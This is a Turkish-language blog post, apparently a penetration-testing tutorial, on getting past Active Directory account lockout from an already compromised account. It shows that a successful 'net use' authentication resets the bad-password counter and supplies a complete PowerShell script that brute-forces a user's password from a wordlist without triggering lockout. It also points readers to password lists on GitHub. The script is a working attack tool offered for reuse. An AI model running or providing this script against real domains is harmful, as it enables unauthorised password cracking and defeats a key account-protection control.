En bilindik AD güvenlik sıkılaştırmalarından biri olan Account Lockout ayarlamaları en basit yapılarda bile şifre ataklarının önüne geçilmesi için ciddi bir önlemdir.
Ancak bir kullanıcı veya servis hesabının çalıştığı sistem kilitlenmemiş yada remote code execution ile erişiminiz mevcut ise aşağıdaki şekilde herhangi bir lock durumu oluşturmadan dilediğiniz kadar şifre test etmenize olanak tanıyor.
Test yapacağım sistem üzerinde Remote Server Administration Tools for Windows 10 yüklü.
Öncelikle user’ ın şuan ki durumunu kontrol ediyoruz.Sponsor
get-aduser -filter {Name -eq “Engin KOSOVA”} -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | ft -auto
Herhangi bir lock yada hatalı şifre denemesi yapılmadığı görülmekte.
GPO üzerinden aldığım Policy aşağıdaki şekilde. 5 hatalı giriş sonrasında hesabın kilitlenmesi olarak ayarlı.
Hatalı bir şifre girişi denendiğinde aldığımız tepkiyi görmek için öncelikle yanlış bir şifre giriş testi yapıyoruz.
Aşağıdaki şekilde şifreyi bir çok kez hatalı test ediyorum.
Ardından tekrar kullanıcının lock durumunu kontrol ediyorum.
Kullanıcının hatalı giriş sayısını ve sayının aşılması sonucu kilitlendiğini görüyoruz.
Kullanıcının Lock durumunu kaldırarak bu sefer hatalı testi bir kere deniyorum ve tekrar Lock durumunu kontrol ediyorum
Bu durumdayken “net use” kullanımı yaparak tekrar lock durumunu kontrol ediyorum.
Gördüğümüz gibi net use kullanımı ile başarılı bir doğrulama yaptığım için sistem hatalı şifre sayısını sıfırladı.
Ancak bu durumdayken tekrar “net use” kullanmayı denersem sistem aşağıdaki uyarıyı veriyor.
Yani aynı connection dan birden fazla oluşturamam. Bu durumda ise “net use /delete” ile önceki connetion’ ın silinmesi gerekiyor. Aslında bypass oluşumu işte burada meydana geliyor.
Buna bağlı olarak aşağıdaki script ile brute force attack yapıyoruz.
Herhangi bir şekilde lock olmadan şifreyi bulmuş olduk. Tabiki ben şifreyi bildiğim için 15. denemede bulmasını sağladım. Ancak şifrenin zorluk derecesine ve elinizdeki şifre kütüphanesine bağlı olarak bu durum değişiklik gösterecektir.
Aşağıdaki github adresinden şifre kütüphanelerini görüntüleyerek istediğinizi kullanabilirsiniz.
Script içerisindeki aşağıdaki alanları kendi ortamınıza göre düzenlemeniz gerekmektedir.
$CurrentPath = “D:\”
$FileName = “pass.txt”
$userVar = Get-ChildItem env:username
$uname = $userVar.Value
$computerVar = Get-ChildItem env:computername
$computerName = $computerVar.Value
$ErrorActionPreference = “Stop”
$hooray = “PasswordNotFound”
$CurrentPath = “D:\”
$FileName = “pass.txt”
$FName= “$CurrentPath\$FileName”
foreach($value in [System.IO.File]::ReadLines($Fname))
{
$passAttempt = (‘net use \\’ + $computerName + ‘ “‘ + $value + ‘“ ‘ + ‘/u:’ + $uname )
try
{
Write-Output (“trying password “ + $value)
$output = Invoke-Expression $passAttempt | Out-Null
$hooray = $value
write-output (“FOUND the user password: “ + $value)
$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )
Invoke-Expression $reset | Out-Null
$deleteShare = (‘net use /delete \\’ + $computername )
Invoke-Expression $deleteShare | Out-Null
break
}
catch
{
$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )
Invoke-Expression $reset | Out-Null
$deleteShare = (‘net use /delete \\’ + $computername )
Invoke-Expression $deleteShare | Out-Null
}
}
write-host “The Password is: “ $hooray
Kaynak :
https://medium.com/@markmotig/bypassing-ad-account-lockout-for-a-compromised-account-5c908d663de8